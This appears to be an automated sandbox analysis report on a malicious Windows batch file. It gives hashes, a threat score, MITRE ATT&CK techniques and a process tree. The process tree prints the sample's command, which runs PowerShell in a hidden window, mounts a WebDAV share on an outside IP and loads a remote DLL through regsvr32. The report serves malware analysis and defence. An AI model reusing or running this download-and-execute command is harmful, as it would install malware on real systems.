76bbaa70aff3045abb8c9a5c8c5d41887f6ed281ec59d1af5feec67bcabbe09f

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
22/07/2024, 04:58

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General

Target

27972153241137516402.bat
Size

14KB
MD5

05164ccea8d7b8a898e4c0026ed99153
SHA1

cadb8ca7d853f287206809e9420de6e420e8d54e
SHA256

76bbaa70aff3045abb8c9a5c8c5d41887f6ed281ec59d1af5feec67bcabbe09f
SHA512

6e19b1d4c139b03d6bb5b28294c494deb3d4636e1cc65af3e6366fce278af3bf3e5044b97bedac477bf546a0106e6699c2e21435ad702411501d1de9507563e7
SSDEEP

192:3rs+8mX1ZYXuKo+hPQI/5GFFwhFFLJPEKW5fqS/TiJN9X3AkD2fSb:3wosf1OFAFLJPEK67s9wk

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2056	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2056	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2056	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1972	wordpad.exe
1972	wordpad.exe
1972	wordpad.exe
1972	wordpad.exe
1972	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3032 wrote to memory of 1972	3032	cmd.exe	32
PID 3032 wrote to memory of 1972	3032	cmd.exe	32
PID 3032 wrote to memory of 1972	3032	cmd.exe	32
PID 3032 wrote to memory of 2056	3032	cmd.exe	33
PID 3032 wrote to memory of 2056	3032	cmd.exe	33
PID 3032 wrote to memory of 2056	3032	cmd.exe	33
PID 2056 wrote to memory of 2872	2056	powershell.exe	35
PID 2056 wrote to memory of 2872	2056	powershell.exe	35
PID 2056 wrote to memory of 2872	2056	powershell.exe	35
PID 2056 wrote to memory of 2724	2056	powershell.exe	36
PID 2056 wrote to memory of 2724	2056	powershell.exe	36
PID 2056 wrote to memory of 2724	2056	powershell.exe	36
PID 2056 wrote to memory of 2724	2056	powershell.exe	36
PID 2056 wrote to memory of 2724	2056	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\27972153241137516402.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3032
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\13444223427395.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2056
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2872
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\13444223427395.dll
    3⤵
    PID:2724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2056-24-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download
memory/2056-23-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download